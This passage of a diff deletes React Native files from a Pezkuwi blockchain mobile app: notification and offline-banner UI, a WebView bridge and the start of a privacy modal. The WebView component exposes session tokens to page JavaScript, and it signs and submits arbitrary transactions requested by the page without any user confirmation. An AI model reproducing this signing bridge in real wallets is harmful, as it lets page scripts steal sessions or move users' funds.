||||
)}
|
||||
|
||||
{/* Earlier */}
|
||||
{groupedNotifications.earlier.length > 0 && (
|
||||
<>
|
||||
<Text style={styles.sectionTitle}>Earlier</Text>
|
||||
{groupedNotifications.earlier.map((notification) => (
|
||||
<TouchableOpacity
|
||||
key={notification.id}
|
||||
style={[
|
||||
styles.notificationCard,
|
||||
!notification.read && styles.notificationCardUnread,
|
||||
]}
|
||||
onPress={() => handleMarkAsRead(notification.id)}
|
||||
>
|
||||
<View
|
||||
style={[
|
||||
styles.notificationIcon,
|
||||
{ backgroundColor: `${getNotificationColor(notification.type)}15` },
|
||||
]}
|
||||
>
|
||||
<Text style={styles.notificationIconText}>
|
||||
{getNotificationIcon(notification.type)}
|
||||
</Text>
|
||||
</View>
|
||||
<View style={styles.notificationContent}>
|
||||
<View style={styles.notificationHeader}>
|
||||
<Text style={styles.notificationTitle}>{notification.title}</Text>
|
||||
{!notification.read && <View style={styles.unreadDot} />}
|
||||
</View>
|
||||
<Text style={styles.notificationMessage} numberOfLines={2}>
|
||||
{notification.message}
|
||||
</Text>
|
||||
<Text style={styles.notificationTime}>
|
||||
{formatTimestamp(notification.timestamp)}
|
||||
</Text>
|
||||
</View>
|
||||
</TouchableOpacity>
|
||||
))}
|
||||
</>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</ScrollView>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
modalOverlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
modalContent: {
|
||||
backgroundColor: '#FFFFFF',
|
||||
borderTopLeftRadius: 24,
|
||||
borderTopRightRadius: 24,
|
||||
maxHeight: '85%',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#F0F0F0',
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: '#333',
|
||||
},
|
||||
headerSubtitle: {
|
||||
fontSize: 14,
|
||||
color: KurdistanColors.kesk,
|
||||
marginTop: 2,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: '#F5F5F5',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 18,
|
||||
color: '#666',
|
||||
},
|
||||
actions: {
|
||||
flexDirection: 'row',
|
||||
gap: 12,
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 12,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#F0F0F0',
|
||||
},
|
||||
actionButton: {
|
||||
paddingHorizontal: 12,
|
||||
paddingVertical: 6,
|
||||
borderRadius: 8,
|
||||
backgroundColor: '#F5F5F5',
|
||||
},
|
||||
actionButtonText: {
|
||||
fontSize: 13,
|
||||
fontWeight: '500',
|
||||
color: '#666',
|
||||
},
|
||||
actionButtonDanger: {
|
||||
color: '#EF4444',
|
||||
},
|
||||
notificationsList: {
|
||||
flex: 1,
|
||||
padding: 20,
|
||||
},
|
||||
sectionTitle: {
|
||||
fontSize: 14,
|
||||
fontWeight: '600',
|
||||
color: '#999',
|
||||
marginBottom: 12,
|
||||
marginTop: 8,
|
||||
},
|
||||
notificationCard: {
|
||||
flexDirection: 'row',
|
||||
backgroundColor: '#FFFFFF',
|
||||
borderRadius: 12,
|
||||
padding: 12,
|
||||
marginBottom: 12,
|
||||
borderWidth: 1,
|
||||
borderColor: '#F0F0F0',
|
||||
},
|
||||
notificationCardUnread: {
|
||||
backgroundColor: '#F8F9FA',
|
||||
borderColor: KurdistanColors.kesk,
|
||||
},
|
||||
notificationIcon: {
|
||||
width: 44,
|
||||
height: 44,
|
||||
borderRadius: 22,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
marginRight: 12,
|
||||
},
|
||||
notificationIconText: {
|
||||
fontSize: 20,
|
||||
},
|
||||
notificationContent: {
|
||||
flex: 1,
|
||||
},
|
||||
notificationHeader: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
marginBottom: 4,
|
||||
},
|
||||
notificationTitle: {
|
||||
fontSize: 14,
|
||||
fontWeight: '600',
|
||||
color: '#333',
|
||||
flex: 1,
|
||||
},
|
||||
unreadDot: {
|
||||
width: 8,
|
||||
height: 8,
|
||||
borderRadius: 4,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
marginLeft: 8,
|
||||
},
|
||||
notificationMessage: {
|
||||
fontSize: 13,
|
||||
color: '#666',
|
||||
lineHeight: 18,
|
||||
marginBottom: 4,
|
||||
},
|
||||
notificationTime: {
|
||||
fontSize: 11,
|
||||
color: '#999',
|
||||
},
|
||||
emptyState: {
|
||||
alignItems: 'center',
|
||||
paddingVertical: 60,
|
||||
},
|
||||
emptyStateIcon: {
|
||||
fontSize: 64,
|
||||
marginBottom: 16,
|
||||
},
|
||||
emptyStateText: {
|
||||
fontSize: 18,
|
||||
fontWeight: '600',
|
||||
color: '#333',
|
||||
marginBottom: 8,
|
||||
},
|
||||
emptyStateSubtext: {
|
||||
fontSize: 14,
|
||||
color: '#999',
|
||||
},
|
||||
});
|
||||
@@ -1,29 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet } from 'react-native';
|
||||
import { useNetworkStatus } from '../hooks/useNetworkStatus';
|
||||
|
||||
export const OfflineBanner: React.FC = () => {
|
||||
const { isConnected } = useNetworkStatus();
|
||||
|
||||
if (isConnected) return null;
|
||||
|
||||
return (
|
||||
<View style={styles.banner} accessibilityRole="alert" accessibilityLabel="No internet connection">
|
||||
<Text style={styles.text}>No internet connection</Text>
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
banner: {
|
||||
backgroundColor: '#DC2626',
|
||||
paddingVertical: 8,
|
||||
paddingHorizontal: 16,
|
||||
alignItems: 'center',
|
||||
},
|
||||
text: {
|
||||
color: '#FFFFFF',
|
||||
fontSize: 13,
|
||||
fontWeight: '600',
|
||||
},
|
||||
});
|
||||
@@ -1,688 +0,0 @@
|
||||
import React, { useRef, useState, useCallback } from 'react';
|
||||
import {
|
||||
View,
|
||||
StyleSheet,
|
||||
ActivityIndicator,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
BackHandler,
|
||||
Platform,
|
||||
Alert,
|
||||
} from 'react-native';
|
||||
import * as Location from 'expo-location';
|
||||
import { WebView, WebViewMessageEvent } from 'react-native-webview';
|
||||
import { useFocusEffect, useNavigation } from '@react-navigation/native';
|
||||
import type { NavigationProp } from '@react-navigation/native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||
import { useAuth } from '../contexts/AuthContext';
|
||||
import { supabase } from '../lib/supabase';
|
||||
|
||||
type RootStackParamList = {
|
||||
Wallet: undefined;
|
||||
WalletSetup: undefined;
|
||||
};
|
||||
|
||||
// Base URL for the web app
|
||||
const WEB_BASE_URL = 'https://pezkuwichain.io';
|
||||
|
||||
export interface PezkuwiWebViewProps {
|
||||
// The path to load (e.g., '/p2p', '/forum', '/elections')
|
||||
path: string;
|
||||
// Optional title for the header
|
||||
title?: string;
|
||||
// Callback when navigation state changes
|
||||
onNavigationStateChange?: (canGoBack: boolean) => void;
|
||||
}
|
||||
|
||||
interface WebViewMessage {
|
||||
type: string;
|
||||
payload?: unknown;
|
||||
}
|
||||
|
||||
const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
|
||||
path,
|
||||
title,
|
||||
onNavigationStateChange,
|
||||
}) => {
|
||||
const webViewRef = useRef<WebView>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [canGoBack, setCanGoBack] = useState(false);
|
||||
|
||||
const navigation = useNavigation<NavigationProp<RootStackParamList>>();
|
||||
const { selectedAccount, getKeyPair, api, isApiReady } = usePezkuwi();
|
||||
const { user } = useAuth();
|
||||
const [sessionToken, setSessionToken] = useState<string | null>(null);
|
||||
const [refreshToken, setRefreshToken] = useState<string | null>(null);
|
||||
const [isSessionReady, setIsSessionReady] = useState(false);
|
||||
|
||||
// Get Supabase session token for WebView authentication
|
||||
React.useEffect(() => {
|
||||
const getSession = async () => {
|
||||
try {
|
||||
const { data: { session } } = await supabase.auth.getSession();
|
||||
if (session?.access_token) {
|
||||
setSessionToken(session.access_token);
|
||||
setRefreshToken(session.refresh_token || null);
|
||||
if (__DEV__) console.warn('[WebView] Session token retrieved for SSO');
|
||||
}
|
||||
} catch (error) {
|
||||
if (__DEV__) console.warn('[WebView] Failed to get session:', error);
|
||||
} finally {
|
||||
setIsSessionReady(true);
|
||||
}
|
||||
};
|
||||
getSession();
|
||||
}, [user]);
|
||||
|
||||
// Runs BEFORE any page JS — sets the mobile flag and overrides geolocation
|
||||
// so React's useEffect sees them on first render
|
||||
const injectedJavaScriptBeforeContentLoaded = `
|
||||
(function() {
|
||||
window.PEZKUWI_MOBILE = true;
|
||||
window.PEZKUWI_PLATFORM = '${Platform.OS}';
|
||||
|
||||
// Override navigator.geolocation before React mounts
|
||||
var _pendingLocationCallbacks = {};
|
||||
var _locationCallbackId = 0;
|
||||
|
||||
var _overrideGeo = {
|
||||
getCurrentPosition: function(success, error, options) {
|
||||
var id = ++_locationCallbackId;
|
||||
_pendingLocationCallbacks[id] = { success: success, error: error };
|
||||
window.ReactNativeWebView.postMessage(JSON.stringify({
|
||||
type: 'REQUEST_LOCATION',
|
||||
payload: { id: id }
|
||||
}));
|
||||
setTimeout(function() {
|
||||
if (_pendingLocationCallbacks[id]) {
|
||||
delete _pendingLocationCallbacks[id];
|
||||
if (error) error({ code: 3, message: 'Timeout' });
|
||||
}
|
||||
}, 15000);
|
||||
},
|
||||
watchPosition: function() { return 0; },
|
||||
clearWatch: function() {}
|
||||
};
|
||||
|
||||
try {
|
||||
Object.defineProperty(navigator, 'geolocation', {
|
||||
get: function() { return _overrideGeo; },
|
||||
configurable: true
|
||||
});
|
||||
} catch(e) {}
|
||||
|
||||
window.__resolveLocation = function(id, lat, lon, accuracy) {
|
||||
var cb = _pendingLocationCallbacks[id];
|
||||
if (cb) {
|
||||
delete _pendingLocationCallbacks[id];
|
||||
cb.success({ coords: { latitude: lat, longitude: lon, accuracy: accuracy || 50, altitude: null, altitudeAccuracy: null, heading: null, speed: null }, timestamp: Date.now() });
|
||||
}
|
||||
};
|
||||
|
||||
window.__rejectLocation = function(id, code, msg) {
|
||||
var cb = _pendingLocationCallbacks[id];
|
||||
if (cb) {
|
||||
delete _pendingLocationCallbacks[id];
|
||||
if (cb.error) cb.error({ code: code || 1, message: msg || 'Permission denied' });
|
||||
}
|
||||
};
|
||||
|
||||
true;
|
||||
})();
|
||||
`;
|
||||
|
||||
// JavaScript to inject into the WebView
|
||||
// This creates a bridge between the web app and native app
|
||||
const injectedJavaScript = `
|
||||
(function() {
|
||||
|
||||
// Inject wallet address if connected
|
||||
${selectedAccount ? `window.PEZKUWI_ADDRESS = '${selectedAccount.address}';` : ''}
|
||||
${selectedAccount ? `window.PEZKUWI_ACCOUNT_NAME = '${selectedAccount.meta?.name || 'Mobile Wallet'}';` : ''}
|
||||
|
||||
// Inject auth session for automatic login
|
||||
${sessionToken ? `window.PEZKUWI_SESSION_TOKEN = '${sessionToken}';` : ''}
|
||||
${refreshToken ? `window.PEZKUWI_REFRESH_TOKEN = '${refreshToken}';` : ''}
|
||||
${user ? `window.PEZKUWI_USER_ID = '${user.id}';` : ''}
|
||||
${user?.email ? `window.PEZKUWI_USER_EMAIL = '${user.email}';` : ''}
|
||||
|
||||
// Pre-populate localStorage with session so Supabase client finds it on init
|
||||
${sessionToken && user ? `
|
||||
try {
|
||||
var supabaseUrl = 'https://sihawipngjtgvfzukfew.supabase.co';
|
||||
var storageKey = 'sb-' + supabaseUrl.replace('https://', '').split('.')[0] + '-auth-token';
|
||||
var sessionData = {
|
||||
access_token: '${sessionToken}',
|
||||
refresh_token: '${refreshToken || ''}',
|
||||
token_type: 'bearer',
|
||||
expires_in: 3600,
|
||||
expires_at: Math.floor(Date.now() / 1000) + 3600,
|
||||
user: {
|
||||
id: '${user.id}',
|
||||
email: '${user.email || ''}',
|
||||
aud: 'authenticated',
|
||||
role: 'authenticated'
|
||||
}
|
||||
};
|
||||
localStorage.setItem(storageKey, JSON.stringify(sessionData));
|
||||
console.log('[Mobile] Pre-populated localStorage with session');
|
||||
} catch(e) {
|
||||
console.warn('[Mobile] Failed to set localStorage:', e);
|
||||
}
|
||||
` : ''}
|
||||
|
||||
// Auto-authenticate with Supabase if session token exists
|
||||
if (window.PEZKUWI_SESSION_TOKEN) {
|
||||
(function autoAuth(attempts = 0) {
|
||||
if (attempts > 50) {
|
||||
console.warn('[Mobile] Auto-auth timed out: window.supabase not found');
|
||||
return;
|
||||
}
|
||||
|
||||
if (window.supabase && window.supabase.auth) {
|
||||
window.supabase.auth.setSession({
|
||||
access_token: window.PEZKUWI_SESSION_TOKEN,
|
||||
refresh_token: window.PEZKUWI_REFRESH_TOKEN || ''
|
||||
}).then(function(res) {
|
||||
if (res.error) {
|
||||
console.warn('[Mobile] Auto-auth error:', res.error);
|
||||
} else {
|
||||
console.log('[Mobile] Auto-authenticated successfully');
|
||||
// Dispatch event to notify app of successful auth
|
||||
window.dispatchEvent(new CustomEvent('pezkuwi-session-restored', {
|
||||
detail: { userId: window.PEZKUWI_USER_ID }
|
||||
}));
|
||||
// Force auth state refresh if the app has an auth store
|
||||
if (window.__refreshAuthState) {
|
||||
window.__refreshAuthState();
|
||||
}
|
||||
}
|
||||
}).catch(function(err) {
|
||||
console.warn('[Mobile] Auto-auth promise failed:', err);
|
||||
});
|
||||
} else {
|
||||
setTimeout(function() { autoAuth(attempts + 1); }, 100);
|
||||
}
|
||||
})(0);
|
||||
}
|
||||
|
||||
// Override console.log to send to React Native (for debugging)
|
||||
const originalConsoleLog = console.log;
|
||||
console.log = function(...args) {
|
||||
originalConsoleLog.apply(console, args);
|
||||
window.ReactNativeWebView?.postMessage(JSON.stringify({
|
||||
type: 'CONSOLE_LOG',
|
||||
payload: args.map(arg => typeof arg === 'object' ? JSON.stringify(arg) : String(arg)).join(' ')
|
||||
}));
|
||||
};
|
||||
|
||||
// Create native bridge for wallet operations
|
||||
window.PezkuwiNativeBridge = {
|
||||
// Request transaction signing and submission from native wallet
|
||||
signTransaction: function(payload, callback) {
|
||||
window.__pendingSignCallback = callback;
|
||||
window.ReactNativeWebView?.postMessage(JSON.stringify({
|
||||
type: 'SIGN_TRANSACTION',
|
||||
payload: payload
|
||||
}));
|
||||
},
|
||||
|
||||
// Request wallet connection
|
||||
connectWallet: function() {
|
||||
window.ReactNativeWebView?.postMessage(JSON.stringify({
|
||||
type: 'CONNECT_WALLET'
|
||||
}));
|
||||
},
|
||||
|
||||
// Navigate back in native app
|
||||
goBack: function() {
|
||||
window.ReactNativeWebView?.postMessage(JSON.stringify({
|
||||
type: 'GO_BACK'
|
||||
}));
|
||||
},
|
||||
|
||||
// Check if wallet is connected
|
||||
isWalletConnected: function() {
|
||||
return !!window.PEZKUWI_ADDRESS;
|
||||
},
|
||||
|
||||
// Get connected address
|
||||
getAddress: function() {
|
||||
return window.PEZKUWI_ADDRESS || null;
|
||||
}
|
||||
};
|
||||
|
||||
// Notify web app that native bridge is ready
|
||||
window.dispatchEvent(new CustomEvent('pezkuwi-native-ready', {
|
||||
detail: {
|
||||
address: window.PEZKUWI_ADDRESS,
|
||||
platform: window.PEZKUWI_PLATFORM
|
||||
}
|
||||
}));
|
||||
|
||||
true; // Required for injectedJavaScript
|
||||
})();
|
||||
`;
|
||||
|
||||
// Handle messages from WebView
|
||||
const handleMessage = useCallback(async (event: WebViewMessageEvent) => {
|
||||
try {
|
||||
const message: WebViewMessage = JSON.parse(event.nativeEvent.data);
|
||||
|
||||
switch (message.type) {
|
||||
case 'SIGN_TRANSACTION':
|
||||
// Handle transaction signing and submission
|
||||
if (!selectedAccount) {
|
||||
webViewRef.current?.injectJavaScript(`
|
||||
if (window.__pendingSignCallback) {
|
||||
window.__pendingSignCallback(null, 'Wallet not connected');
|
||||
delete window.__pendingSignCallback;
|
||||
}
|
||||
`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!api || !isApiReady) {
|
||||
webViewRef.current?.injectJavaScript(`
|
||||
if (window.__pendingSignCallback) {
|
||||
window.__pendingSignCallback(null, 'Blockchain not connected');
|
||||
delete window.__pendingSignCallback;
|
||||
}
|
||||
`);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const payload = message.payload as {
|
||||
section: string;
|
||||
method: string;
|
||||
args: unknown[];
|
||||
};
|
||||
|
||||
const keyPair = await getKeyPair(selectedAccount.address);
|
||||
if (!keyPair) {
|
||||
throw new Error('Could not retrieve key pair');
|
||||
}
|
||||
|
||||
// Build the transaction using native API
|
||||
const { section, method, args } = payload;
|
||||
|
||||
if (__DEV__) {
|
||||
console.warn('[WebView] Building transaction:', { section, method, args });
|
||||
}
|
||||
|
||||
// Get the transaction method from API
|
||||
const txModule = api.tx[section] as Record<string, (...args: unknown[]) => { signAndSend: (...args: unknown[]) => Promise<unknown> }> | undefined;
|
||||
if (!txModule) {
|
||||
throw new Error(`Unknown section: ${section}`);
|
||||
}
|
||||
|
||||
const txMethod = txModule[method];
|
||||
if (!txMethod) {
|
||||
throw new Error(`Unknown method: ${section}.${method}`);
|
||||
}
|
||||
|
||||
// Create the transaction
|
||||
const tx = txMethod(...args);
|
||||
|
||||
// Sign and send transaction
|
||||
const txHash = await new Promise<string>((resolve, reject) => {
|
||||
tx.signAndSend(keyPair, { nonce: -1 }, (result: { status: { isInBlock?: boolean; isFinalized?: boolean; asInBlock?: { toString: () => string }; asFinalized?: { toString: () => string } }; dispatchError?: unknown }) => {
|
||||
if (result.status.isInBlock) {
|
||||
const hash = result.status.asInBlock?.toString() || '';
|
||||
if (__DEV__) {
|
||||
console.warn('[WebView] Transaction included in block:', hash);
|
||||
}
|
||||
resolve(hash);
|
||||
} else if (result.status.isFinalized) {
|
||||
const hash = result.status.asFinalized?.toString() || '';
|
||||
if (__DEV__) {
|
||||
console.warn('[WebView] Transaction finalized:', hash);
|
||||
}
|
||||
}
|
||||
if (result.dispatchError) {
|
||||
reject(new Error('Transaction failed'));
|
||||
}
|
||||
}).catch(reject);
|
||||
});
|
||||
|
||||
// Send success back to WebView
|
||||
webViewRef.current?.injectJavaScript(`
|
||||
if (window.__pendingSignCallback) {
|
||||
window.__pendingSignCallback('${txHash}', null);
|
||||
delete window.__pendingSignCallback;
|
||||
}
|
||||
`);
|
||||
} catch (signError) {
|
||||
const errorMessage = (signError as Error).message.replace(/'/g, "\\'");
|
||||
webViewRef.current?.injectJavaScript(`
|
||||
if (window.__pendingSignCallback) {
|
||||
window.__pendingSignCallback(null, '${errorMessage}');
|
||||
delete window.__pendingSignCallback;
|
||||
}
|
||||
`);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'CONNECT_WALLET':
|
||||
// Handle wallet connection request from WebView
|
||||
if (__DEV__) console.warn('WebView requested wallet connection');
|
||||
|
||||
if (selectedAccount) {
|
||||
// Already connected, notify WebView
|
||||
webViewRef.current?.injectJavaScript(`
|
||||
window.PEZKUWI_ADDRESS = '${selectedAccount.address}';
|
||||
window.PEZKUWI_ACCOUNT_NAME = '${selectedAccount.meta?.name || 'Mobile Wallet'}';
|
||||
window.dispatchEvent(new CustomEvent('pezkuwi-wallet-connected', {
|
||||
detail: {
|
||||
address: '${selectedAccount.address}',
|
||||
name: '${selectedAccount.meta?.name || 'Mobile Wallet'}'
|
||||
}
|
||||
}));
|
||||
`);
|
||||
} else {
|
||||
// No wallet connected, show alert and navigate to wallet setup
|
||||
Alert.alert(
|
||||
'Wallet Required',
|
||||
'Please connect or create a wallet to continue.',
|
||||
[
|
||||
{
|
||||
text: 'Cancel',
|
||||
style: 'cancel',
|
||||
},
|
||||
{
|
||||
text: 'Setup Wallet',
|
||||
onPress: () => {
|
||||
navigation.navigate('WalletSetup');
|
||||
},
|
||||
},
|
||||
]
|
||||
);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'REQUEST_LOCATION': {
|
||||
const locId = (message.payload as { id: number }).id;
|
||||
try {
|
||||
const { status } = await Location.requestForegroundPermissionsAsync();
|
||||
if (status !== 'granted') {
|
||||
webViewRef.current?.injectJavaScript(
|
||||
`window.__rejectLocation(${locId}, 1, 'Permission denied'); true;`
|
||||
);
|
||||
break;
|
||||
}
|
||||
const pos = await Location.getCurrentPositionAsync({
|
||||
accuracy: Location.Accuracy.Balanced,
|
||||
});
|
||||
webViewRef.current?.injectJavaScript(
|
||||
`window.__resolveLocation(${locId}, ${pos.coords.latitude}, ${pos.coords.longitude}, ${pos.coords.accuracy}); true;`
|
||||
);
|
||||
} catch (locErr) {
|
||||
webViewRef.current?.injectJavaScript(
|
||||
`window.__rejectLocation(${locId}, 2, 'Location unavailable'); true;`
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 'GO_BACK':
|
||||
// Handle back navigation from web
|
||||
if (canGoBack && webViewRef.current) {
|
||||
webViewRef.current.goBack();
|
||||
}
|
||||
break;
|
||||
|
||||
case 'CONSOLE_LOG':
|
||||
// Forward console logs from WebView (debug only)
|
||||
if (__DEV__) {
|
||||
console.warn('[WebView]:', message.payload);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
if (__DEV__) {
|
||||
console.warn('Unknown message type:', message.type);
|
||||
}
|
||||
}
|
||||
} catch (parseError) {
|
||||
if (__DEV__) {
|
||||
console.error('Failed to parse WebView message:', parseError);
|
||||
}
|
||||
}
|
||||
}, [selectedAccount, getKeyPair, canGoBack, navigation, api, isApiReady]);
|
||||
|
||||
// Handle Android back button
|
||||
useFocusEffect(
|
||||
useCallback(() => {
|
||||
const onBackPress = () => {
|
||||
if (canGoBack && webViewRef.current) {
|
||||
webViewRef.current.goBack();
|
||||
return true; // Prevent default behavior
|
||||
}
|
||||
return false; // Allow default behavior
|
||||
};
|
||||
|
||||
const subscription = BackHandler.addEventListener('hardwareBackPress', onBackPress);
|
||||
return () => subscription.remove();
|
||||
}, [canGoBack])
|
||||
);
|
||||
|
||||
// Reload the WebView
|
||||
const handleReload = () => {
|
||||
setError(null);
|
||||
setLoading(true);
|
||||
webViewRef.current?.reload();
|
||||
};
|
||||
|
||||
// Go back in WebView history
|
||||
const handleGoBack = () => {
|
||||
if (canGoBack && webViewRef.current) {
|
||||
webViewRef.current.goBack();
|
||||
}
|
||||
};
|
||||
|
||||
// Build the full URL
|
||||
const fullUrl = `${WEB_BASE_URL}${path}`;
|
||||
|
||||
// Wait for session to be ready before loading WebView (ensures SSO works)
|
||||
if (!isSessionReady) {
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{title && (
|
||||
<View style={styles.header}>
|
||||
<View style={{ width: 40 }} />
|
||||
<Text style={styles.headerTitle}>{title}</Text>
|
||||
<View style={{ width: 40 }} />
|
||||
</View>
|
||||
)}
|
||||
<View style={styles.loadingOverlay}>
|
||||
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
|
||||
<Text style={styles.loadingText}>Preparing session...</Text>
|
||||
</View>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
// Error view
|
||||
if (error) {
|
||||
return (
|
||||
<View style={styles.errorContainer}>
|
||||
<Text style={styles.errorIcon}>!</Text>
|
||||
<Text style={styles.errorTitle}>Connection Error</Text>
|
||||
<Text style={styles.errorMessage}>{error}</Text>
|
||||
<TouchableOpacity style={styles.retryButton} onPress={handleReload}>
|
||||
<Text style={styles.retryButtonText}>Try Again</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{/* Optional header with back button */}
|
||||
{title && (
|
||||
<View style={styles.header}>
|
||||
{canGoBack && (
|
||||
<TouchableOpacity style={styles.backButton} onPress={handleGoBack}>
|
||||
<Text style={styles.backButtonText}>{'<'}</Text>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
<Text style={styles.headerTitle}>{title}</Text>
|
||||
<TouchableOpacity style={styles.reloadButton} onPress={handleReload}>
|
||||
<Text style={styles.reloadButtonText}>Reload</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
)}
|
||||
|
||||
{/* WebView */}
|
||||
<WebView
|
||||
ref={webViewRef}
|
||||
source={{ uri: fullUrl }}
|
||||
style={styles.webView}
|
||||
injectedJavaScriptBeforeContentLoaded={injectedJavaScriptBeforeContentLoaded}
|
||||
injectedJavaScript={injectedJavaScript}
|
||||
onMessage={handleMessage}
|
||||
onLoadStart={() => setLoading(true)}
|
||||
onLoadEnd={() => setLoading(false)}
|
||||
onError={(syntheticEvent) => {
|
||||
const { nativeEvent } = syntheticEvent;
|
||||
setError(nativeEvent.description || 'Failed to load page');
|
||||
setLoading(false);
|
||||
}}
|
||||
onHttpError={(syntheticEvent) => {
|
||||
const { nativeEvent } = syntheticEvent;
|
||||
if (nativeEvent.statusCode >= 400) {
|
||||
setError(`HTTP Error: ${nativeEvent.statusCode}`);
|
||||
}
|
||||
}}
|
||||
onNavigationStateChange={(navState) => {
|
||||
setCanGoBack(navState.canGoBack);
|
||||
onNavigationStateChange?.(navState.canGoBack);
|
||||
}}
|
||||
// Security settings
|
||||
javaScriptEnabled={true}
|
||||
domStorageEnabled={true}
|
||||
geolocationEnabled={true}
|
||||
sharedCookiesEnabled={true}
|
||||
thirdPartyCookiesEnabled={true}
|
||||
// Performance settings
|
||||
cacheEnabled={true}
|
||||
cacheMode="LOAD_DEFAULT"
|
||||
// UI settings
|
||||
showsHorizontalScrollIndicator={false}
|
||||
showsVerticalScrollIndicator={true}
|
||||
bounces={true}
|
||||
pullToRefreshEnabled={true}
|
||||
// Behavior settings
|
||||
allowsBackForwardNavigationGestures={true}
|
||||
allowsInlineMediaPlayback={true}
|
||||
mediaPlaybackRequiresUserAction={false}
|
||||
// Debugging (dev only)
|
||||
webviewDebuggingEnabled={__DEV__}
|
||||
/>
|
||||
|
||||
{/* Loading overlay */}
|
||||
{loading && (
|
||||
<View style={styles.loadingOverlay}>
|
||||
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
|
||||
<Text style={styles.loadingText}>Loading...</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
flex: 1,
|
||||
backgroundColor: '#FFFFFF',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
paddingHorizontal: 16,
|
||||
paddingVertical: 12,
|
||||
backgroundColor: '#FFFFFF',
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
headerTitle: {
|
||||
flex: 1,
|
||||
fontSize: 18,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
textAlign: 'center',
|
||||
},
|
||||
backButton: {
|
||||
padding: 8,
|
||||
marginRight: 8,
|
||||
},
|
||||
backButtonText: {
|
||||
fontSize: 24,
|
||||
color: KurdistanColors.kesk,
|
||||
fontWeight: '600',
|
||||
},
|
||||
reloadButton: {
|
||||
padding: 8,
|
||||
},
|
||||
reloadButtonText: {
|
||||
fontSize: 14,
|
||||
color: KurdistanColors.kesk,
|
||||
fontWeight: '600',
|
||||
},
|
||||
webView: {
|
||||
flex: 1,
|
||||
},
|
||||
loadingOverlay: {
|
||||
...StyleSheet.absoluteFillObject,
|
||||
backgroundColor: 'rgba(255, 255, 255, 0.9)',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
loadingText: {
|
||||
marginTop: 12,
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
},
|
||||
errorContainer: {
|
||||
flex: 1,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
padding: 32,
|
||||
backgroundColor: '#FFFFFF',
|
||||
},
|
||||
errorIcon: {
|
||||
fontSize: 48,
|
||||
color: KurdistanColors.sor,
|
||||
marginBottom: 16,
|
||||
fontWeight: '700',
|
||||
},
|
||||
errorTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
marginBottom: 8,
|
||||
},
|
||||
errorMessage: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
textAlign: 'center',
|
||||
marginBottom: 24,
|
||||
},
|
||||
retryButton: {
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
paddingHorizontal: 24,
|
||||
paddingVertical: 12,
|
||||
borderRadius: 8,
|
||||
},
|
||||
retryButtonText: {
|
||||
color: '#FFFFFF',
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
},
|
||||
});
|
||||
|
||||
export default PezkuwiWebView;
|
||||
@@ -1,215 +0,0 @@
|
||||
import React from 'react';
|
||||
import {
|
||||
Modal,
|
||||
View,
|
||||
Text,
|
||||
ScrollView,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
SafeAreaView,
|
||||
} from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface PrivacyPolicyModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
